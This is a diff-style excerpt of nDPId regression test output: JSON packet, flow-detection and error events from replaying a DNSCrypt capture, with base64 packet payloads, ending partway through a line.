01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305327975,"pkt":"REREREREZmZmZmZmCABFAAIcwJBAAL0RNQkKAAABlXBwCuB5IPsCCMhQa\/4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":150,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":65,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305327975,"flow_src_last_pkt_time":946739305327975,"flow_dst_last_pkt_time":946739305327975,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305327975,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":57465,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":151,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305327986} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":151,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305327975,"pkt":"REREREREZmZmZmZmCABFAABQwJEAub0RdhsKAAABlXBwCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":66,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305328010,"flow_src_last_pkt_time":946739305328010,"flow_dst_last_pkt_time":946739305328010,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305328010,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":55482,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_src_last_pkt_time":946739305328010,"flow_dst_last_pkt_time":946739305328010,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305328010,"pkt":"REREREREZmZmZmZmCABFAAIcwJJAAL0RNQcKAAABlXBwCti6IPsCCMhQa\/wBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":152,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":66,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739305328010,"flow_src_last_pkt_time":946739305328010,"flow_dst_last_pkt_time":946739305328010,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739305328010,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.112.112.10","src_port":55482,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} @@ -324,15 +296,9 @@ 00574{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":2,"flow_src_last_pkt_time":946739305327882,"flow_dst_last_pkt_time":946739305348735,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"thread_ts_usec":946739305348735,"pkt":"ZmZmZmZmRERERERECABFAABHTCJAADsRLU2VcHAKCgAAASD7nEkAM5Mra\/2AAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":946739305348929,"flow_dst_last_pkt_time":946735705453738,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305348929,"pkt":"REREREREZmZmZmZmCABFAAIcCf9AAL0Rd68KAAABlTjkLZX0AbsCCDw8f0cBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_src_last_pkt_time":946739305348955,"flow_dst_last_pkt_time":946735705457244,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305348955,"pkt":"REREREREZmZmZmZmCABFAAXcCgAgAL0Rk+4KAAABlTjkLbKaAbsGBGxVf0QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":159,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305348966} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":159,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305348955,"pkt":"REREREREZmZmZmZmCABFAABQCgAAub0RuMEKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":3,"flow_src_last_pkt_time":946739305348987,"flow_dst_last_pkt_time":946735705460564,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305348987,"pkt":"REREREREZmZmZmZmCABFAAXcCgEgAL0Rk+0KAAABlTjkLYqnAbsGBJRGf0YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":161,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305348993} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":161,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305348987,"pkt":"REREREREZmZmZmZmCABFAABQCgEAub0RuMAKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":3,"flow_src_last_pkt_time":946739305349002,"flow_dst_last_pkt_time":946735705461257,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305349002,"pkt":"REREREREZmZmZmZmCABFAAIcCgJAAL0Rd6wKAAABlTjkLYMdAbsCCDw8f0UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":3,"flow_src_last_pkt_time":946739305349019,"flow_dst_last_pkt_time":946735705459813,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739305349019,"pkt":"REREREREZmZmZmZmCABFAAXcCgMgAL0Rk+sKAAABlTjkLYmcAbsGBJVVf0IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":164,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739305349026} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":164,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739305349019,"pkt":"REREREREZmZmZmZmCABFAABQCgMAub0RuL4KAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00573{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":2,"flow_src_last_pkt_time":946739305327834,"flow_dst_last_pkt_time":946739305349030,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"thread_ts_usec":946739305349030,"pkt":"ZmZmZmZmRERERERECABFAABHIUUAADsRmCqVcHAKCgAAASD7w3MAM2v+bACAAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":3,"flow_src_last_pkt_time":946739305349060,"flow_dst_last_pkt_time":946735705457124,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739305349060,"pkt":"REREREREZmZmZmZmCABFAAIcCgRAAL0Rd6oKAAABlTjkLeuNAbsCCDw8f0MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA